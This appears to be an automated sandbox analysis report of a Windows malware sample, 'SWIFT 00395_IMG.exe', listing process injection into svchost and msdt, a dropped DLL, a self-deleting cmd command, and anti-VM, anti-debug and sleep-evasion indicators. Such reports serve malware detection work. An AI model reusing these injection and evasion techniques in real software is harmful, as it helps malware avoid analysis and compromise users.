Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_0040216B CoCreateInstance,MultiByteToWideChar, 0_2_0040216B
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5932:120:WilError_01
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File created: C:\Users\user\AppData\Local\Temp\nsuD98E.tmp Jump to behavior
Source: SWIFT 00395_IMG.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File read: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\SWIFT 00395_IMG.exe 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe'
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Process created: C:\Windows\SysWOW64\svchost.exe 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe'
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\SysWOW64\msdt.exe
Source: C:\Windows\SysWOW64\msdt.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\SysWOW64\svchost.exe'
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Process created: C:\Windows\SysWOW64\svchost.exe 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe' Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\SysWOW64\svchost.exe' Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: SWIFT 00395_IMG.exe Static file information: File size 14050919 > 1048576
Source: SWIFT 00395_IMG.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.688349508.0000000005A00000.00000002.00000001.sdmp
Source: Binary string: msdt.pdbGCTL source: svchost.exe, 00000001.00000003.709271951.0000000005400000.00000004.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: SWIFT 00395_IMG.exe, 00000000.00000003.657563874.0000000003200000.00000004.00000001.sdmp, svchost.exe, 00000001.00000002.712731644.000000000391F000.00000040.00000001.sdmp, msdt.exe, 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: SWIFT 00395_IMG.exe, 00000000.00000003.657563874.0000000003200000.00000004.00000001.sdmp, svchost.exe, msdt.exe
Source: Binary string: svchost.pdb source: msdt.exe, 00000007.00000002.920789443.00000000053E7000.00000004.00000001.sdmp
Source: Binary string: svchost.pdbUGP source: msdt.exe, 00000007.00000002.920789443.00000000053E7000.00000004.00000001.sdmp
Source: Binary string: msdt.pdb source: svchost.exe, 00000001.00000003.709271951.0000000005400000.00000004.00000001.sdmp
Source: Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.688349508.0000000005A00000.00000002.00000001.sdmp

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0040E0F9 push edi; ret 1_2_0040E0FB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0040C349 push ebx; retf 1_2_0040C34A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_004143E5 push edi; retf 1_2_004143E6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041B3F2 push eax; ret 1_2_0041B3F8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041B3FB push eax; ret 1_2_0041B462
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041B3A5 push eax; ret 1_2_0041B3F8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0041B45C push eax; ret 1_2_0041B462
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00414D7E pushad ; ret 1_2_00414D7F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00414FF7 push es; ret 1_2_00414FFC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0387D0D1 push ecx; ret 1_2_0387D0E4
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F2D0D1 push ecx; ret 7_2_04F2D0E4
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A6E0F9 push edi; ret 7_2_00A6E0FB
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7B3A5 push eax; ret 7_2_00A7B3F8
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A743E5 push edi; retf 7_2_00A743E6
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7B3F2 push eax; ret 7_2_00A7B3F8
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7B3FB push eax; ret 7_2_00A7B462
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A6C349 push ebx; retf 7_2_00A6C34A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7B45C push eax; ret 7_2_00A7B462
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A74D7E pushad ; ret 7_2_00A74D7F
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A7BE30 push ebx; ret 7_2_00A7BE38
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_00A74FF7 push es; ret 7_2_00A74FFC

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File created: C:\Users\user\AppData\Local\Temp\nspD9BF.tmp\3bypcf8qb.dll Jump to dropped file
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Windows\SysWOW64\svchost.exe RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe RDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msdt.exe RDTSC instruction interceptor: First address: 0000000000A685E4 second address: 0000000000A685EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msdt.exe RDTSC instruction interceptor: First address: 0000000000A6896E second address: 0000000000A68974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_004088A0 rdtsc 1_2_004088A0
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 6780 Thread sleep time: -65000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\msdt.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_004059F0 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 0_2_004059F0
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_0040659C FindFirstFileA,FindClose, 0_2_0040659C
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_004027A1 FindFirstFileA, 0_2_004027A1
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\AppData\Local\Temp\nsuD98F.tmp Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\AppData\Local\Temp\u2xvckwaqaki Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\AppData\Local\Temp\jckq5d4hbdkbi4n7hsr Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Jump to behavior
Source: explorer.exe, 00000004.00000000.691329626.000000000A60E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.688104249.00000000058C0000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000004.00000000.688642634.0000000006650000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.691329626.000000000A60E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.680072965.0000000004710000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000004.00000000.688104249.00000000058C0000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000004.00000000.691742303.000000000A716000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000004.00000000.688104249.00000000058C0000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000004.00000000.691988896.000000000A784000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: explorer.exe, 00000004.00000000.680130802.0000000004791000.00000004.00000001.sdmp Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1H
Source: explorer.exe, 00000004.00000000.688104249.00000000058C0000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Windows\SysWOW64\svchost.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\svchost.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_004088A0 rdtsc 1_2_004088A0
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_00409B10 LdrLoadDll, 1_2_00409B10
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_10001000 mov eax, dword ptr fs:[00000030h] 0_2_10001000
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_022C17B5 mov eax, dword ptr fs:[00000030h] 0_2_022C17B5
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_022C19CD mov eax, dword ptr fs:[00000030h] 0_2_022C19CD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E138A mov eax, dword ptr fs:[00000030h] 1_2_038E138A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03831B8F mov eax, dword ptr fs:[00000030h] 1_2_03831B8F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03831B8F mov eax, dword ptr fs:[00000030h] 1_2_03831B8F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038DD380 mov ecx, dword ptr fs:[00000030h] 1_2_038DD380
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03852397 mov eax, dword ptr fs:[00000030h] 1_2_03852397
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385B390 mov eax, dword ptr fs:[00000030h] 1_2_0385B390
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03854BAD mov eax, dword ptr fs:[00000030h] 1_2_03854BAD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03854BAD mov eax, dword ptr fs:[00000030h] 1_2_03854BAD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03854BAD mov eax, dword ptr fs:[00000030h] 1_2_03854BAD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F5BA5 mov eax, dword ptr fs:[00000030h] 1_2_038F5BA5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A53CA mov eax, dword ptr fs:[00000030h] 1_2_038A53CA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A53CA mov eax, dword ptr fs:[00000030h] 1_2_038A53CA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h] 1_2_038503E2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h] 1_2_038503E2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h] 1_2_038503E2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h] 1_2_038503E2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h] 1_2_038503E2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h] 1_2_038503E2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384DBE9 mov eax, dword ptr fs:[00000030h] 1_2_0384DBE9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E131B mov eax, dword ptr fs:[00000030h] 1_2_038E131B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382DB40 mov eax, dword ptr fs:[00000030h] 1_2_0382DB40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F8B58 mov eax, dword ptr fs:[00000030h] 1_2_038F8B58
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382F358 mov eax, dword ptr fs:[00000030h] 1_2_0382F358
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382DB60 mov ecx, dword ptr fs:[00000030h] 1_2_0382DB60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03853B7A mov eax, dword ptr fs:[00000030h] 1_2_03853B7A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03853B7A mov eax, dword ptr fs:[00000030h] 1_2_03853B7A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385D294 mov eax, dword ptr fs:[00000030h] 1_2_0385D294
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385D294 mov eax, dword ptr fs:[00000030h] 1_2_0385D294
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h] 1_2_038252A5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h] 1_2_038252A5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h] 1_2_038252A5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h] 1_2_038252A5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h] 1_2_038252A5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383AAB0 mov eax, dword ptr fs:[00000030h] 1_2_0383AAB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383AAB0 mov eax, dword ptr fs:[00000030h] 1_2_0383AAB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385FAB0 mov eax, dword ptr fs:[00000030h] 1_2_0385FAB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03852ACB mov eax, dword ptr fs:[00000030h] 1_2_03852ACB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03852AE4 mov eax, dword ptr fs:[00000030h] 1_2_03852AE4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03838A0A mov eax, dword ptr fs:[00000030h] 1_2_03838A0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03825210 mov eax, dword ptr fs:[00000030h] 1_2_03825210
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03825210 mov ecx, dword ptr fs:[00000030h] 1_2_03825210
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03825210 mov eax, dword ptr fs:[00000030h] 1_2_03825210
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03825210 mov eax, dword ptr fs:[00000030h] 1_2_03825210
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382AA16 mov eax, dword ptr fs:[00000030h] 1_2_0382AA16
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382AA16 mov eax, dword ptr fs:[00000030h] 1_2_0382AA16
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03843A1C mov eax, dword ptr fs:[00000030h] 1_2_03843A1C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03864A2C mov eax, dword ptr fs:[00000030h] 1_2_03864A2C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03864A2C mov eax, dword ptr fs:[00000030h] 1_2_03864A2C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03829240 mov eax, dword ptr fs:[00000030h] 1_2_03829240
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03829240 mov eax, dword ptr fs:[00000030h] 1_2_03829240
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03829240 mov eax, dword ptr fs:[00000030h] 1_2_03829240
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03829240 mov eax, dword ptr fs:[00000030h] 1_2_03829240
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038EEA55 mov eax, dword ptr fs:[00000030h] 1_2_038EEA55
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038B4257 mov eax, dword ptr fs:[00000030h] 1_2_038B4257
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038DB260 mov eax, dword ptr fs:[00000030h] 1_2_038DB260
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038DB260 mov eax, dword ptr fs:[00000030h] 1_2_038DB260
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F8A62 mov eax, dword ptr fs:[00000030h] 1_2_038F8A62
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0386927A mov eax, dword ptr fs:[00000030h] 1_2_0386927A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385A185 mov eax, dword ptr fs:[00000030h] 1_2_0385A185
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384C182 mov eax, dword ptr fs:[00000030h] 1_2_0384C182
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03852990 mov eax, dword ptr fs:[00000030h] 1_2_03852990
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038561A0 mov eax, dword ptr fs:[00000030h] 1_2_038561A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038561A0 mov eax, dword ptr fs:[00000030h] 1_2_038561A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A69A6 mov eax, dword ptr fs:[00000030h] 1_2_038A69A6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A51BE mov eax, dword ptr fs:[00000030h] 1_2_038A51BE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A51BE mov eax, dword ptr fs:[00000030h] 1_2_038A51BE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A51BE mov eax, dword ptr fs:[00000030h] 1_2_038A51BE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A51BE mov eax, dword ptr fs:[00000030h] 1_2_038A51BE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382B1E1 mov eax, dword ptr fs:[00000030h] 1_2_0382B1E1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382B1E1 mov eax, dword ptr fs:[00000030h] 1_2_0382B1E1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382B1E1 mov eax, dword ptr fs:[00000030h] 1_2_0382B1E1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038B41E8 mov eax, dword ptr fs:[00000030h] 1_2_038B41E8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03829100 mov eax, dword ptr fs:[00000030h] 1_2_03829100
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03829100 mov eax, dword ptr fs:[00000030h] 1_2_03829100
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03829100 mov eax, dword ptr fs:[00000030h] 1_2_03829100
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03844120 mov eax, dword ptr fs:[00000030h] 1_2_03844120
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03844120 mov eax, dword ptr fs:[00000030h] 1_2_03844120
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03844120 mov eax, dword ptr fs:[00000030h] 1_2_03844120
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03844120 mov eax, dword ptr fs:[00000030h] 1_2_03844120
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03844120 mov ecx, dword ptr fs:[00000030h] 1_2_03844120
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385513A mov eax, dword ptr fs:[00000030h] 1_2_0385513A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385513A mov eax, dword ptr fs:[00000030h] 1_2_0385513A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384B944 mov eax, dword ptr fs:[00000030h] 1_2_0384B944
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384B944 mov eax, dword ptr fs:[00000030h] 1_2_0384B944
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382C962 mov eax, dword ptr fs:[00000030h] 1_2_0382C962
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382B171 mov eax, dword ptr fs:[00000030h] 1_2_0382B171
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382B171 mov eax, dword ptr fs:[00000030h] 1_2_0382B171
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03829080 mov eax, dword ptr fs:[00000030h] 1_2_03829080
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A3884 mov eax, dword ptr fs:[00000030h] 1_2_038A3884
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A3884 mov eax, dword ptr fs:[00000030h] 1_2_038A3884
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h] 1_2_038520A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h] 1_2_038520A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h] 1_2_038520A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h] 1_2_038520A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h] 1_2_038520A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038520A0 mov eax, dword ptr fs:[00000030h] 1_2_038520A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038690AF mov eax, dword ptr fs:[00000030h] 1_2_038690AF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385F0BF mov ecx, dword ptr fs:[00000030h] 1_2_0385F0BF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385F0BF mov eax, dword ptr fs:[00000030h] 1_2_0385F0BF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385F0BF mov eax, dword ptr fs:[00000030h] 1_2_0385F0BF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h] 1_2_038BB8D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BB8D0 mov ecx, dword ptr fs:[00000030h] 1_2_038BB8D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h] 1_2_038BB8D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h] 1_2_038BB8D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h] 1_2_038BB8D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BB8D0 mov eax, dword ptr fs:[00000030h] 1_2_038BB8D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038258EC mov eax, dword ptr fs:[00000030h] 1_2_038258EC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F4015 mov eax, dword ptr fs:[00000030h] 1_2_038F4015
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F4015 mov eax, dword ptr fs:[00000030h] 1_2_038F4015
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A7016 mov eax, dword ptr fs:[00000030h] 1_2_038A7016
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A7016 mov eax, dword ptr fs:[00000030h] 1_2_038A7016
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A7016 mov eax, dword ptr fs:[00000030h] 1_2_038A7016
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385002D mov eax, dword ptr fs:[00000030h] 1_2_0385002D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385002D mov eax, dword ptr fs:[00000030h] 1_2_0385002D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385002D mov eax, dword ptr fs:[00000030h] 1_2_0385002D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385002D mov eax, dword ptr fs:[00000030h] 1_2_0385002D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385002D mov eax, dword ptr fs:[00000030h] 1_2_0385002D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383B02A mov eax, dword ptr fs:[00000030h] 1_2_0383B02A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383B02A mov eax, dword ptr fs:[00000030h] 1_2_0383B02A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383B02A mov eax, dword ptr fs:[00000030h] 1_2_0383B02A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383B02A mov eax, dword ptr fs:[00000030h] 1_2_0383B02A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03840050 mov eax, dword ptr fs:[00000030h] 1_2_03840050
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03840050 mov eax, dword ptr fs:[00000030h] 1_2_03840050
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F1074 mov eax, dword ptr fs:[00000030h] 1_2_038F1074
